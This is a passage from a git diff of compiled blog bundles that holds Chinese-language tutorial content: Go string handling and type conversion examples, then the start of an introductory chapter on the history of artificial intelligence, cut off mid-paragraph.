rune \u7c7b\u578b\u6765\u5904\u7406 Unicode\uff0c\u8ba9\u57fa\u4e8e Unicode \u7684\u6587\u672c\u5904\u7406\u66f4\u4e3a\u65b9\u4fbf\uff0c\u4e5f\u53ef\u4ee5\u4f7f\u7528 byte \u578b\u8fdb\u884c\u9ed8\u8ba4\u5b57\u7b26\u4e32\u5904\u7406\uff0c\u6027\u80fd\u548c\u6269\u5c55\u6027\u90fd\u6709\u7167\u987e\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'// \u904d\u5386\u5b57\u7b26\u4e32\nfunc traversalString() {\n\ts := "hello\u6c99\u6cb3"\n\tfor i := 0; i < len(s); i++ { //byte\n\t\tfmt.Printf("%v(%c) ", s[i], s[i])\n\t}\n\tfmt.Println()\n\tfor _, r := range s { //rune\n\t\tfmt.Printf("%v(%c) ", r, r)\n\t}\n\tfmt.Println()\n}\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"104(h) 101(e) 108(l) 108(l) 111(o) 230(\xe6) 178(\xb2) 153() 230(\xe6) 178(\xb2) 179(\xb3) \n104(h) 101(e) 108(l) 108(l) 111(o) 27801(\u6c99) 27827(\u6cb3) \n"})}),"\n",(0,s.jsx)(e.p,{children:"\u56e0\u4e3aUTF8\u7f16\u7801\u4e0b\u4e00\u4e2a\u4e2d\u6587\u6c49\u5b57\u75313~4\u4e2a\u5b57\u8282\u7ec4\u6210\uff0c\u6240\u4ee5\u6211\u4eec\u4e0d\u80fd\u7b80\u5355\u7684\u6309\u7167\u5b57\u8282\u53bb\u904d\u5386\u4e00\u4e2a\u5305\u542b\u4e2d\u6587\u7684\u5b57\u7b26\u4e32\uff0c\u5426\u5219\u5c31\u4f1a\u51fa\u73b0\u4e0a\u9762\u8f93\u51fa\u4e2d\u7b2c\u4e00\u884c\u7684\u7ed3\u679c\u3002"}),"\n",(0,s.jsxs)(e.p,{children:["\u5b57\u7b26\u4e32\u5e95\u5c42\u662f\u4e00\u4e2abyte\u6570\u7ec4\uff0c\u6240\u4ee5\u53ef\u4ee5\u548c",(0,s.jsx)(e.code,{children:"[]byte"}),"\u7c7b\u578b\u76f8\u4e92\u8f6c\u6362\u3002\u5b57\u7b26\u4e32\u662f\u4e0d\u80fd\u4fee\u6539\u7684 \u5b57\u7b26\u4e32\u662f\u7531byte\u5b57\u8282\u7ec4\u6210\uff0c\u6240\u4ee5\u5b57\u7b26\u4e32\u7684\u957f\u5ea6\u662fbyte\u5b57\u8282\u7684\u957f\u5ea6\u3002 rune\u7c7b\u578b\u7528\u6765\u8868\u793autf8\u5b57\u7b26\uff0c\u4e00\u4e2arune\u5b57\u7b26\u7531\u4e00\u4e2a\u6216\u591a\u4e2abyte\u7ec4\u6210\u3002"]}),"\n",(0,s.jsx)(e.h3,{id:"\u4fee\u6539\u5b57\u7b26\u4e32",children:"\u4fee\u6539\u5b57\u7b26\u4e32"}),"\n",(0,s.jsxs)(e.p,{children:["\u8981\u4fee\u6539\u5b57\u7b26\u4e32\uff0c\u9700\u8981\u5148\u5c06\u5176\u8f6c\u6362\u6210",(0,s.jsx)(e.code,{children:"[]rune"}),"\u6216",(0,s.jsx)(e.code,{children:"[]byte"}),"\uff0c\u5b8c\u6210\u540e\u518d\u8f6c\u6362\u4e3a",(0,s.jsx)(e.code,{children:"string"}),"\u3002\u65e0\u8bba\u54ea\u79cd\u8f6c\u6362\uff0c\u90fd\u4f1a\u91cd\u65b0\u5206\u914d\u5185\u5b58\uff0c\u5e76\u590d\u5236\u5b57\u8282\u6570\u7ec4\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func changeString() {\n\ts1 := \"big\"\n\t// \u5f3a\u5236\u7c7b\u578b\u8f6c\u6362\n\tbyteS1 := []byte(s1)\n\tbyteS1[0] = 'p'\n\tfmt.Println(string(byteS1))\n\n\ts2 := \"\u767d\u841d\u535c\"\n\truneS2 := []rune(s2)\n\truneS2[0] = '\u7ea2'\n\tfmt.Println(string(runeS2))\n}\n"})}),"\n",(0,s.jsx)(e.h2,{id:"\u7c7b\u578b\u8f6c\u6362",children:"\u7c7b\u578b\u8f6c\u6362"}),"\n",(0,s.jsx)(e.p,{children:"Go\u8bed\u8a00\u4e2d\u53ea\u6709\u5f3a\u5236\u7c7b\u578b\u8f6c\u6362\uff0c\u6ca1\u6709\u9690\u5f0f\u7c7b\u578b\u8f6c\u6362\u3002\u8be5\u8bed\u6cd5\u53ea\u80fd\u5728\u4e24\u4e2a\u7c7b\u578b\u4e4b\u95f4\u652f\u6301\u76f8\u4e92\u8f6c\u6362\u7684\u65f6\u5019\u4f7f\u7528\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u5f3a\u5236\u7c7b\u578b\u8f6c\u6362\u7684\u57fa\u672c\u8bed\u6cd5\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"T(\u8868\u8fbe\u5f0f)\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u5176\u4e2d\uff0cT\u8868\u793a\u8981\u8f6c\u6362\u7684\u7c7b\u578b\u3002\u8868\u8fbe\u5f0f\u5305\u62ec\u53d8\u91cf\u3001\u590d\u6742\u7b97\u5b50\u548c\u51fd\u6570\u8fd4\u56de\u503c\u7b49."}),"\n",(0,s.jsx)(e.p,{children:"\u6bd4\u5982\u8ba1\u7b97\u76f4\u89d2\u4e09\u89d2\u5f62\u7684\u659c\u8fb9\u957f\u65f6\u4f7f\u7528math\u5305\u7684Sqrt()\u51fd\u6570\uff0c\u8be5\u51fd\u6570\u63a5\u6536\u7684\u662ffloat64\u7c7b\u578b\u7684\u53c2\u6570\uff0c\u800c\u53d8\u91cfa\u548cb\u90fd\u662fint\u7c7b\u578b\u7684\uff0c\u8fd9\u4e2a\u65f6\u5019\u5c31\u9700\u8981\u5c06a\u548cb\u5f3a\u5236\u7c7b\u578b\u8f6c\u6362\u4e3afloat64\u7c7b\u578b\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func sqrtDemo() {\n\tvar a, b = 3, 4\n\tvar c int\n\t// math.Sqrt()\u63a5\u6536\u7684\u53c2\u6570\u662ffloat64\u7c7b\u578b\uff0c\u9700\u8981\u5f3a\u5236\u8f6c\u6362\n\tc = int(math.Sqrt(float64(a*a + b*b)))\n\tfmt.Println(c)\n}\n"})})]})}function o(n={}){const{wrapper:e}={...(0,r.R)(),...n.components};return e?(0,s.jsx)(e,{...n,children:(0,s.jsx)(h,{...n})}):h(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/3dfb8743.a7eb9509.js b/en/assets/js/3dfb8743.a7eb9509.js new file mode 100644 index 0000000..c59a02b --- /dev/null +++ b/en/assets/js/3dfb8743.a7eb9509.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7958],{24435:(e,n,i)=>{i.r(n),i.d(n,{assets:()=>c,contentTitle:()=>d,default:()=>x,frontMatter:()=>r,metadata:()=>l,toc:()=>h});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2","title":"0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0/0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0/0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7b2c\u96f6\u7ae0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/"},"next":{"title":"0.2 \u8bc4\u4ef7\u6307\u6807.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.2 \u8bc4\u4ef7\u6307\u6807"}}');var t=i(74848),s=i(28453);const r={},d="0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2.md",c={},h=[{value:"1.1 \u4eba\u5de5\u667a\u80fd\u7684\u4e09\u6b21\u6d6a\u6f6e",id:"11-\u4eba\u5de5\u667a\u80fd\u7684\u4e09\u6b21\u6d6a\u6f6e",level:2},{value:"1.1.1 \u7b2c\u4e00\u6b21\u6d6a\u6f6e",id:"111-\u7b2c\u4e00\u6b21\u6d6a\u6f6e",level:3},{value:"1.1.2 \u7b2c\u4e8c\u6b21\u6d6a\u6f6e",id:"112-\u7b2c\u4e8c\u6b21\u6d6a\u6f6e",level:3},{value:"1.1.3 \u7b2c\u4e09\u6b21\u6d6a\u6f6e",id:"113-\u7b2c\u4e09\u6b21\u6d6a\u6f6e",level:3},{value:"1.1.4 \u603b\u7ed3",id:"114-\u603b\u7ed3",level:3},{value:"1.2 DL,ML,AI\u4e09\u8005\u4e4b\u95f4\u7684\u5173\u7cfb",id:"12-dlmlai\u4e09\u8005\u4e4b\u95f4\u7684\u5173\u7cfb",level:2},{value:"1.2.1 DL\u548cML\u662f\u4ec0\u4e48",id:"121-dl\u548cml\u662f\u4ec0\u4e48",level:3},{value:"1.2.2 \u5b83\u4eec\u548cAI\u7684\u5173\u7cfb",id:"122-\u5b83\u4eec\u548cai\u7684\u5173\u7cfb",level:3}];function a(e){const n={h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,s.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(n.header,{children:(0,t.jsx)(n.h1,{id:"01-\u4eba\u5de5\u667a\u80fd\u7b80\u53f2md",children:"0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:06"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,t.jsx)(n.h1,{id:"\u4eba\u5de5\u667a\u80fd\u7b80\u53f2",children:"\u4eba\u5de5\u667a\u80fd\u7b80\u53f2"}),"\n",(0,t.jsx)(n.p,{children:"\u81ea\u4ece\u56fe\u7075\u57281950\u5e74\u7b2c\u4e00\u6b21\u63d0\u51fa\u201c\u673a\u5668\u667a\u80fd\uff08Machine Intelligence\uff09\u201d\u8fd9\u4e2a\u6982\u5ff5\u4ee5\u6765\uff0c\u4eba\u5de5\u667a\u80fd\u5df2\u7ecf\u7ecf\u5386\u4e86\u4e03\u5341\u4f59\u5e74\u7684\u53d1\u5c55\u3002\u5728\u8fd9\u4e03\u5341\u591a\u5e74\u4e2d\uff0c\u4eba\u5de5\u667a\u80fd\u7684\u53d1\u5c55\u5148\u540e\u7ecf\u5386\u4e86\u4e09\u6b21\u6d6a\u6f6e\uff0c\u6bcf\u4e00\u6b21\u6d6a\u6f6e\u5bf9\u4eba\u5de5\u667a\u80fd\u7684\u53d1\u5c55\u6765\u8bf4\uff0c\u90fd\u662f\u5177\u6709\u91cc\u7a0b\u7891\u610f\u4e49\u7684\u3002\u63a5\u4e0b\u6765\u6211\u4eec\u5c06\u4ee5\u8fd9\u4e09\u6b21\u6d6a\u6f6e\u4e3a\u4e3b\u7ebf\uff0c\u4e3a\u5927\u5bb6\u4ecb\u7ecd\u4eba\u5de5\u667a\u80fd\u7684\u53d1\u5c55\u5386\u7a0b\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u6211\u4eec\u4e5f\u5c06\u4f1a\u7ed9\u5927\u5bb6\u4ecb\u7ecd\u73b0\u5728\u5e38\u8bf4\u7684Deep learning\uff0cMachine Learning\u548cAI\u4e4b\u95f4\u7684\u5173\u7cfb\u3002"}),"\n",(0,t.jsx)(n.p,{children:"[* ]\u901a\u8fc7\u672c\u7ae0\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsx)(n.li,{children:"\u4e86\u89e3\u4eba\u5de5\u667a\u80fd\u7684\u4e09\u6b21\u6d6a\u6f6e"}),"\n",(0,t.jsx)(n.li,{children:"\u4e86\u89e3Deep learning\uff0cMachine learning\u548cAI\u4e4b\u95f4\u7684\u5173\u7cfb"}),"\n"]}),"\n",(0,t.jsx)(n.h2,{id:"11-\u4eba\u5de5\u667a\u80fd\u7684\u4e09\u6b21\u6d6a\u6f6e",children:"1.1 \u4eba\u5de5\u667a\u80fd\u7684\u4e09\u6b21\u6d6a\u6f6e"}),"\n",(0,t.jsx)(n.h3,{id:"111-\u7b2c\u4e00\u6b21\u6d6a\u6f6e",children:"1.1.1 \u7b2c\u4e00\u6b21\u6d6a\u6f6e"}),"\n",(0,t.jsx)(n.p,{children:"1950\u5e74\uff0c\u963f\u5170\xb7\u56fe\u7075\u53d1\u8868\u8457\u540d\u8bba\u6587\u300a\u8ba1\u7b97\u673a\u5668\u4e0e\u667a\u80fd\u300b\uff0c\u5728\u8fd9\u7bc7\u8bba\u6587\u4e2d\uff0c\u4ed6\u63d0\u51fa\u4e86\u673a\u5668\u601d\u7ef4\u7684\u6982\u5ff5\u548c\u56fe\u7075\u6d4b\u8bd5\uff0c\u6807\u5fd7\u7740\u201c\u673a\u5668\u7684\u667a\u80fd\u5316\u201d\u6b63\u5f0f\u8fdb\u5165\u4eba\u7c7b\u7684\u79d1\u6280\u6811\u3002\u5728\u6b64\u4e4b\u540e\u7684\u6570\u5e74\u95f4\uff0c\u673a\u5668\u667a\u80fd\u6709\u4e86\u8fdb\u4e00\u6b65\u7684\u53d1\u5c55\u3002\u4e24\u5e74\u540e\u76841952\u5e74\uff0c\u8ba1\u7b97\u673a\u79d1\u5b66\u5bb6\u963f\u745f\xb7\u8428\u7f2a\u5c14\u5f00\u53d1\u51fa\u4e00\u6b3e\u8df3\u68cb\u7a0b\u5e8f\uff0c\u5e76\u63d0\u51fa\u4e86\u201c\u673a\u5668\u5b66\u4e60\u201d\u8fd9\u4e2a\u6982\u5ff5\u3002\u5728\u6b64\u4e4b\u540e\u76844\u5e74\u91cc\uff0c\u673a\u5668\u667a\u80fd\u5316\u4e5f\u53d6\u5f97\u4e86\u4e00\u5b9a\u7684\u8fdb\u6b65\uff0c\u76f4\u52301956\u5e74\u7684\u8fbe\u7279\u8305\u65af\u4f1a\u8bae\u4e0a\uff0c\u7ea6\u7ff0\xb7\u9ea6\u5361\u9521\u6b63\u5f0f\u63d0\u51fa\u4e86\u201c\u4eba\u5de5\u667a\u80fd\u201d\u8fd9\u4e2a\u8bcd\u8bed\uff0c1956\u5e74\uff0c\u4e5f\u5c31\u6210\u4e3a\u4e86\u5b9e\u9645\u610f\u4e49\u4e0a\u7684\u4eba\u5de5\u667a\u80fd\u5143\u5e74\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u8fbe\u7279\u8305\u65af\u4f1a\u8bae\u4e4b\u540e\uff0c\u4eba\u5de5\u667a\u80fd\u8fdb\u5165\u4e86\u4e00\u4e2a\u9ad8\u901f\u53d1\u5c55\u7684\u65f6\u671f\uff0c\u4e5f\u5c31\u662f\u6240\u8c13\u7684\u201c\u7b2c\u4e00\u6b21\u6d6a\u6f6e\u201d\u3002\u8fd9\u6b21\u6d6a\u6f6e\u4e00\u76f4\u6301\u7eed\u5230\u4e8c\u5341\u4e16\u7eaa\u516d\u5341\u5e74\u4ee3\u4e2d\u671f\u3002\u5728\u8fd9\u8fd110\u5e74\u7684\u65f6\u95f4\u91cc\uff0c\u8ba1\u7b97\u673a\u672c\u8eab\u7684\u201c\u667a\u80fd\u201d\u5e76\u6ca1\u6709\u5f97\u5230\u53d1\u5c55\uff0c\u5feb\u901f\u8fdb\u6b65\u7684\u662f\u4eba\u5de5\u667a\u80fd\u7684\u4e00\u4e9b\u7406\u8bba\u4e0e\u7b97\u6cd5\u65b9\u9762\u3002\u5f88\u591a\u5bf9\u540e\u6765\u4eba\u5de5\u667a\u80fd\u53d1\u5c55\u8d77\u5230\u5960\u57fa\u4f5c\u7528\u7684\u7b97\u6cd5\u2014\u2014\u5982\u7f57\u68ee\u5e03\u62c9\u7279\u57281957\u5e74\u53d1\u660e\u611f\u77e5\u673a\u2014\u2014\u5c31\u662f\u5728\u8fd9\u4e2a\u65f6\u95f4\u6bb5\u8bde\u751f\u7684\u3002\u611f\u77e5\u673a\u662f\u673a\u5668\u5b66\u4e60\u4eba\u5de5\u795e\u7ecf\u7f51\u7edc\u7406\u8bba\u4e2d\u795e\u7ecf\u5143\u7684\u6700\u65e9\u6a21\u578b\uff0c\u8fd9\u4e00\u6a21\u578b\u4e5f\u4f7f\u5f97\u4eba\u5de5\u795e\u7ecf\u7f51\u7edc\u7406\u8bba\u5f97\u5230\u4e86\u5de8\u5927\u7684\u7a81\u7834\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u5f3a\u5316\u5b66\u4e60\u7684\u96cf\u5f62\u4e5f\u662f\u5728\u90a3\u6bb5\u65f6\u95f4\u63d0\u51fa\u7684\u3002\u5f7c\u65f6\u7684\u79d1\u5b66\u754c\u90fd\u5f25\u6f2b\u7740\u5feb\u4e50\u7684\u6c14\u6c1b\uff0c\u5927\u5bb6\u90fd\u8ba4\u4e3a\uff0c\u53ea\u8981\u575a\u6301\u8d70\u4e0b\u53bb\uff0c\u4eba\u5de5\u667a\u80fd\u5c31\u4e00\u5b9a\u4f1a\u5f97\u5230\u8de8\u8d8a\u5f0f\u7684\u53d1\u5c55\u3002\u4f46\u4e8b\u4e0e\u613f\u8fdd\uff0c\u4e0d\u4e45\u540e\u4eba\u5de5\u667a\u80fd\u7684\u7b2c\u4e00\u6b21\u5bd2\u51ac\uff08AI Winter\uff09\u5c31\u5230\u6765\u4e86\u3002"}),"\n",(0,t.jsx)(n.p,{children:"1966\u5e74\u524d\u540e\uff0cAI\u906d\u9047\u4e86\u74f6\u9888\u3002\u4eba\u4eec\u53d1\u73b0\u903b\u8f91\u8bc1\u660e\u5668\u3001\u611f\u77e5\u5668\u3001\u5f3a\u5316\u5b66\u4e60\u7b49\u7b49\u53ea\u80fd\u505a\u5f88\u7b80\u5355\u3001\u975e\u5e38\u4e13\u95e8\u4e14\u5f88\u7a84\u7684\u4efb\u52a1\uff0c\u7a0d\u5fae\u8d85\u51fa\u8303\u56f4\u5c31\u65e0\u6cd5\u5e94\u5bf9\u3002\u5f53\u65f6\u7684\u8ba1\u7b97\u673a\u6709\u9650\u7684\u5185\u5b58\u548c\u5904\u7406\u901f\u5ea6\u4e0d\u8db3\u4ee5\u89e3\u51b3\u4efb\u4f55\u5b9e\u9645\u7684AI\u95ee\u9898\u3002\u7814\u7a76\u8005\u4eec\u5f88\u5feb\u5c31\u610f\u8bc6\u5230\uff0c\u8981\u6c42\u7a0b\u5e8f\u5bf9\u8fd9\u4e2a\u4e16\u754c\u5177\u6709\u513f\u7ae5\u6c34\u5e73\u7684\u8ba4\u8bc6\u8fd9\u4e2a\u8981\u6c42\u90fd\u592a\u9ad8\u4e86\u2014\u2014\u90a3\u65f6\u6ca1\u4eba\u80fd\u591f\u505a\u51fa\u4eba\u5de5\u667a\u80fd\u9700\u8981\u7684\u5de8\u5927\u6570\u636e\u5e93\uff0c\u4e5f\u6ca1\u4eba\u77e5\u9053\u4e00\u4e2a\u7a0b\u5e8f\u600e\u6837\u624d\u80fd\u5b66\u5230\u5982\u6b64\u4e30\u5bcc\u7684\u4fe1\u606f\u3002\u53e6\u4e00\u65b9\u9762\uff0c\u6709\u5f88\u591a\u8ba1\u7b97\u590d\u6742\u5ea6\u4ee5\u6307\u6570\u7a0b\u5ea6\u589e\u52a0\uff0c\u8fd9\u6210\u4e3a\u4e86\u4e0d\u53ef\u80fd\u5b8c\u6210\u7684\u8ba1\u7b97\u4efb\u52a1\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u53ef\u4ee5\u8bf4\uff0c\u4eba\u5de5\u667a\u80fd\u7684\u7b2c\u4e00\u6b21\u6d6a\u6f6e\u5728\u53d1\u5c55\u5230\u201c\u975e\u667a\u80fd\u5bf9\u8bdd\u673a\u5668\u201d\u7684\u667a\u80fd\u5316\u521d\u7ea7\u9636\u6bb5\u65f6\uff0c\u5c31\u56e0\u4e3a\u5f53\u65f6\u7684\u6280\u672f\u9650\u5236\u4e0d\u5f97\u4e0d\u505c\u6446\u3002\u4eba\u5de5\u667a\u80fd\u7684\u53d1\u5c55\u4f3c\u4e4e\u9677\u5165\u4e86\u4e00\u4e2a\u65e0\u89e3\u7684\u201c\u6b7b\u80e1\u540c\u201d\u91cc\uff0c\u5e76\u88ab\u8ba1\u7b97\u673a\u79d1\u5b66\u5bb6\u4eec\u9010\u6e10\u51b7\u843d\u3002"}),"\n",(0,t.jsx)(n.h3,{id:"112-\u7b2c\u4e8c\u6b21\u6d6a\u6f6e",children:"1.1.2 \u7b2c\u4e8c\u6b21\u6d6a\u6f6e"}),"\n",(0,t.jsx)(n.p,{children:"\u65f6\u95f4\u6765\u5230\u4e8620\u4e16\u7eaa80\u5e74\u4ee3\u3002\u7ecf\u8fc7\u4e86\u6570\u5341\u5e74\u7684\u7814\u7a76\uff0c\u79d1\u5b66\u5bb6\u4eec\u9010\u6e10\u653e\u5f03\u4e86\u521d\u4ee3\u7684\u7b26\u53f7\u5b66\u6d3e\u601d\u8def\uff0c\u6539\u7528\u7edf\u8ba1\u5b66\u7684\u601d\u8def\u6765\u7814\u7a76\u4eba\u5de5\u667a\u80fd\u3002\u7814\u7a76\u601d\u8def\u7684\u6539\u53d8\u518d\u52a0\u4e0a\u786c\u4ef6\u6280\u672f\u7684\u5347\u7ea7\uff0c\u4eba\u5de5\u667a\u80fd\u7684\u53d1\u5c55\u53c8\u4e00\u6b21\u8fce\u6765\u7684\u65b0\u7684\u5951\u673a\u3002\u5728\u90a3\u4e2a\u65f6\u4ee3\uff0c\u57fa\u4e8e\u4eba\u5de5\u667a\u80fd\u7684\u201c\u4e13\u5bb6\u7cfb\u7edf\u201d\u53d7\u5230\u4e86\u7edd\u5bf9\u7684\u70ed\u6367\u3002\u7279\u5b9a\u9886\u57df\u7684\u201c\u4e13\u5bb6\u7cfb\u7edf\u201d\u7a0b\u5e8f\u88ab\u66f4\u5e7f\u6cdb\u7684\u91c7\u7eb3\uff0c\u8be5\u7cfb\u7edf\u80fd\u591f\u6839\u636e\u9886\u57df\u5185\u7684\u4e13\u4e1a\u77e5\u8bc6\uff0c\u63a8\u7406\u51fa\u4e13\u4e1a\u95ee\u9898\u7684\u7b54\u6848\uff0c\u4eba\u5de5\u667a\u80fd\u4e5f\u7531\u6b64\u53d8\u5f97\u66f4\u52a0\u201c\u5b9e\u7528\u201d\uff0c\u4e13\u5bb6\u7cfb\u7edf\u6240\u4f9d\u8d56\u7684\u77e5\u8bc6\u5e93\u7cfb\u7edf\u548c\u77e5\u8bc6\u5de5\u7a0b\u6210\u4e3a\u4e86\u5f53\u65f6\u4e3b\u8981\u7684\u7814\u7a76\u65b9\u5411\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u4f46\u7531\u4e8e\u4e13\u5bb6\u7cfb\u7edf\u4ec5\u9002\u7528\u4e8e\u67d0\u4e9b\u7279\u5b9a\u573a\u666f\uff0c\u5f88\u5feb\u4eba\u4eec\u5c31\u5bf9\u8fd9\u4e00\u7cfb\u7edf\u7531\u72c2\u70ed\u7684\u8ffd\u6367\u9010\u6e10\u8d70\u5411\u5de8\u5927\u7684\u5931\u671b\u3002\u4e0e\u6b64\u540c\u65f6\uff0c\u73b0\u4ee3\u7535\u5b50\u8ba1\u7b97\u673a\u7684\u51fa\u73b0\u8ba9\u201c\u77e5\u8bc6\u67e5\u8be2\u201d\u7684\u8d39\u7528\u8fdb\u4e00\u6b65\u964d\u4f4e\uff0c\u4eba\u4eec\u66f4\u52a0\u6df1\u523b\u7684\u610f\u8bc6\u5230\u4e13\u5bb6\u7cfb\u7edf\u662f\u5982\u6b64\u7684\u53e4\u8001\u9648\u65e7\u3002\u56e0\u6b64\uff0c\u653f\u5e9c\u90e8\u95e8\u4e0b\u8c03\u4e86\u4e13\u5bb6\u7cfb\u7edf\u7684\u7814\u53d1\u8d44\u91d1\u3002\u7f3a\u5c11\u4e86\u8d44\u91d1\u7684\u652f\u6301\uff0c\u7531\u4e13\u5bb6\u7cfb\u7edf\u518d\u6b21\u5174\u8d77\u7684\u4eba\u5de5\u667a\u80fd\u7814\u7a76\u53c8\u4e00\u6b21\u9677\u5165\u4e86\u4f4e\u8c37\u4e4b\u4e2d\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u867d\u7136\u7b2c\u4e8c\u6b21\u6d6a\u6f6e\u6301\u7eed\u7684\u65f6\u95f4\u6bd4\u8f83\u77ed\uff0c\u4f46\u5b83\u5728\u6574\u4e2a\u4eba\u5de5\u667a\u80fd\u53d1\u5c55\u5386\u53f2\u4e2d\u4ecd\u7136\u8d77\u5230\u4e86\u4e3e\u8db3\u8f7b\u91cd\u7684\u4f5c\u7528\u3002\u5b83\u5f7b\u5e95\u6539\u53d8\u4e86\u4eba\u5de5\u667a\u80fd\u7814\u7a76\u7684\u5927\u601d\u8def\uff0c\u5c06\u7edf\u8ba1\u5b66\u601d\u60f3\u5f15\u5165\u7814\u7a76\u4e4b\u4e2d\uff0c\u4e3a\u4eba\u5de5\u667a\u80fd\u5728\u672a\u6765\u51e0\u5341\u5e74\u7684\u53d1\u5c55\u6253\u4e0b\u4e86\u57fa\u7840\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u5728\u8fd9\u6b21\u6d6a\u6f6e\u4e2d\u63d0\u51fa\u7684BP\u795e\u7ecf\u7f51\u7edc\uff0c\u4e3a\u4e4b\u540e\u673a\u5668\u611f\u77e5\u3001\u4ea4\u4e92\u7684\u80fd\u529b\u5960\u5b9a\u4e86\u57fa\u7840\u3002"}),"\n",(0,t.jsx)(n.h3,{id:"113-\u7b2c\u4e09\u6b21\u6d6a\u6f6e",children:"1.1.3 \u7b2c\u4e09\u6b21\u6d6a\u6f6e"}),"\n",(0,t.jsx)(n.p,{children:"1993\u5e74\u540e\uff0c\u65b0\u7684\u6570\u5b66\u5de5\u5177\uff0c\u7406\u8bba\u548c\u6469\u5c14\u5b9a\u5f8b\u7684\u51fa\u73b0\uff0c\u4f7f\u5f97\u8ba1\u7b97\u673a\u7684\u7b97\u529b\u8fdb\u4e00\u6b65\u63d0\u9ad8\uff0c\u4ee5\u6df1\u5ea6\u5b66\u4e60\u4e3a\u6838\u5fc3\u7684\u673a\u5668\u5b66\u4e60\u7b97\u6cd5\u83b7\u5f97\u53d1\u5c55\uff0c\u65b0\u7684\u82af\u7247\u548c\u4e91\u8ba1\u7b97\u7684\u53d1\u5c55\u4f7f\u5f97\u53ef\u7528\u7684\u8ba1\u7b97\u80fd\u529b\u83b7\u5f97\u98de\u8dc3\u5f0f\u63d0\u9ad8\uff0c\u5927\u6570\u636e\u7684\u53d1\u5c55\u4f7f\u5f97\u6d77\u91cf\u6570\u636e\u7684\u50a8\u5b58\u548c\u5206\u6790\u6210\u